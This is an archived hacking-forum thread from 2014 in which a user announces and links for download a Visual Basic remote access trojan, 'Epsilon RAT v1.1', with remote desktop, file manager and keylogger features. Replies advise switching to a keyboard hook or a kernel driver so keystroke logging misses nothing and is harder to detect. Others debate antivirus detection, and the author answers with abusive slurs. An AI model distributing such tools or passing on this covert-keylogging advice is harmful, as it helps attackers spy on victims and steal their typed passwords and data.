+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework)
+--- Thread: Epsilon RAT v1.1 (/Thread-Epsilon-RAT-v1-1)
Epsilon RAT v1.1 - IncubusSoftware - 04-21-2014
So, I've finished the new version after some days of figuring out some stuff and working, I've fixed some graphical bugs and added a new feature.
Has so far:
Remote Desktop
Remote File Manager
Keylogger
Some fun functions
MsgBox Sender.
Needs:
Webcam capture.
Screenshot:
![[Image: Epsilon_RAT_v1_1_screenshot.jpg]](http://s2.postimg.org/zc4yudz61/Epsilon_RAT_v1_1_screenshot.jpg)
Download Link Here:
http://ge.tt/4CITITc1/v/0
RE: Epsilon RAT v1.1 - IncubusSoftware - 04-22-2014
I've been thinking about putting a central CPanel when you double-click on the user. Whaddaya think?
RE: Epsilon RAT v1.1 - xornull - 04-22-2014
Not bad at all, what method do you use for keylogging?
a hook or GetAsyncKey?
RE: Epsilon RAT v1.1 - IncubusSoftware - 04-23-2014
(04-22-2014, 09:23 PM)xornull Wrote: Not bad at all, what method do you use for keylogging?
a hook or GetAsyncKey?
GetAsyncKey.
RE: Epsilon RAT v1.1 - xornull - 04-23-2014
(04-23-2014, 12:06 AM)IncubusSoftware Wrote: GetAsyncKey.
a good start.. but i suggest going for a keyboard hook because
A. It will never miss keys unlike GetAsyncKeyState , because it will stop all keyboard activity until you've returned the callback function. (usually less then <0.1ms)
B. It will use much less of the CPU, and if you code the function that is called each time the user clicks a key to be small it will take pretty much nothing.
C. It will capture messages being sent from other windows, so even a virtual keyboard will not
counter it, I don't think GetAsyncKeyState can defend against this.
but the best way to log keystrokes is to use a device driver which can only be made in C/C++,
It will be hard to track down plus it will have full control of the system. (this is very difficult to code however)
RE: Epsilon RAT v1.1 - Reiko - 04-23-2014
You're bad and you'll always be bad. Begone.
Crypt this six ways to Sunday and send me an exe of it. I will run it and it will fail to do anything at all on my machine.
Submitted to VirusTotal and directly to Panda, Comodo and Anubis.
Already detected by System Center Endpoint Protection, which made it difficult to even submit to VT.
Ralph Mortimer
RE: Epsilon RAT v1.1 - IncubusSoftware - 04-23-2014
(04-23-2014, 03:56 PM)Reiko Wrote: You're bad and you'll always be bad. Begone.
Crypt this six ways to Sunday and send me an exe of it. I will run it and it will fail to do anything at all on my machine.
Submitted to VirusTotal and directly to Panda, Comodo and Anubis.
Already detected by System Center Endpoint Protection, which made it difficult to even submit to VT.
Ralph Mortimer
>ralph mortimer
That's not my name, that's just the guy I got my computer off of.
>Submitted to websites where it will totally get detected
Fucking idiot. Are you trying to make yourself look like a fucking retard? No real hacker uses those sites.
RE: Epsilon RAT v1.1 - Reiko - 04-23-2014
(04-23-2014, 04:42 PM)IncubusSoftware Wrote: >ralph mortimer
That's not my name, that's just the guy I got my computer off of.
>Submitted to websites where it will totally get detected
Fucking idiot. Are you trying to make yourself look like a fucking retard? No real hacker uses those sites.
The point is that it's going to be in malware databases now.
RE: Epsilon RAT v1.1 - Adorapuff - 04-24-2014
(04-23-2014, 06:49 PM)IncubusSoftware Wrote: XD.
Well it won't matter, people on HackForums will still download and use it nonetheless.
That's because people on HackForums are 12 year old children who will get arrested before their 15th birthday.
RE: Epsilon RAT v1.1 - IncubusSoftware - 04-24-2014
(04-24-2014, 03:19 PM)Adorapuff Wrote: That's because people on HackForums are 12 year old children who will get arrested before their 15th birthday.
Which is why I don't go to that site.